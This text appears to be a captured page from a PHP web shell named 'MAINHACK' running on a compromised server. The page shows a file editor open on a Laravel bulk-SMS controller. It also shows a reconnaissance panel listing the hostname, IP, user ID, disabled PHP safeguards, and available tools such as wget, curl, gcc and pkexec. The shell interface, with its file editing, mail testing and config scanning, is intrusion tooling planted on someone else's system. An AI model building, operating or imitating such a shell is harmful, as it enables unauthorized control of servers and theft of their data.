[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: MessageController.php
<?php namespace App\Http\Controllers; use App\Models\Area; use App\Models\City; use App\Models\State; use App\Models\Shop; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use App\Traits\Sms; use Brian2694\Toastr\Facades\Toastr; class MessageController extends Controller { use Sms; public function message() { $data['users'] = Shop::all(); return view('admin.message.message')->with($data); } public function get_area($id=0){ $areas = Area::where('city_id', $id)->orderBy('name', 'asc')->where('status', 1)->get(); $output = ''; if(count($areas)>0){ $output .= '<option value="0">ALL Area</option>'; foreach($areas as $area){ $output .='<option value="'.$area->id.'">'.$area->name.'</option>'; } } echo $output; } public function get_city(Request $request, $region_id){ $data = []; $cities = City::where('state_id', $region_id)->where('status', 1)->get(); $output = $allcity = ''; if(count($cities)>0){ $allcity .= '<option value="0">All City</option>'; foreach($cities as $city){ $allcity .='<option '. (old("city") == $city->id ? "selected" : "" ).' value="'.$city->id.'">'.$city->name.'</option>'; } } else { $allcity .= '<option value="0">All City</option>'; } $output = array('allcity' => $allcity); return response()->json($output); } public function bulksms(){ $data['states'] = State::where('country_id', 18)->where('status', 1)->get(); return view('admin.message.bulksms')->with($data); } public function sendssms(Request $request){ if($request->area != 0){ User::whereNotNull('mobile')->where('area', $request->area)->orderBy('id')->chunk(100, function ($users) use ($request) { foreach ($users as $user) { pvlsms($user->mobile, $request->details); } }); } else if($request->city != 0){ User::whereNotNull('mobile')->where('city', $request->city)->orderBy('id')->chunk(100, function ($users) use ($request) { foreach ($users as $user) { pvlsms($user->mobile, $request->details); } }); } else if($request->region != 0){ User::whereNotNull('mobile')->where('region', $request->region)->orderBy('id')->chunk(100, function ($users) use ($request) { foreach ($users as $user) { pvlsms($user->mobile, $request->details); } }); } else if($request->region == 0){ User::whereNotNull('mobile')->orderBy('id')->chunk(100, function ($users) use ($request) { foreach ($users as $user) { pvlsms($user->mobile, $request->details); } }); } else if($request->city == 0 && $request->region != 0){ User::whereNotNull('mobile')->where('region', $request->region)->orderBy('id')->chunk(100, function ($users) use ($request) { foreach ($users as $user) { pvlsms($user->mobile, $request->details); } }); } else if($request->area == 0 && $request->city != 0){ User::whereNotNull('mobile')->where('city', $request->city)->orderBy('id')->chunk(100, function ($users) use ($request) { foreach ($users as $user) { pvlsms($user->mobile, $request->details); } }); } Toastr::success('Sms Sent Done.'); return back(); } public function sendkm(Request $request) { $numbers = SmsData::all(); $details = 'Who apply for the position Of BP & Supervisers Kindly Join This Group For More Information https://chat.whatsapp.com/GHlmn49eOiD17QHBW68PLu'; foreach($numbers as $number){ $this->sendSms($number->mobile, $details); } return 'done'; } public function smsPanel(Request $request) { if($request->isMethod('get')){ return view('admin.message.sms'); } if($request->isMethod('post')){ $numbers = explode(',', trim($request->number)); foreach($numbers as $number){ $this->sendSms($number, $request->details); } } return back(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.9 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002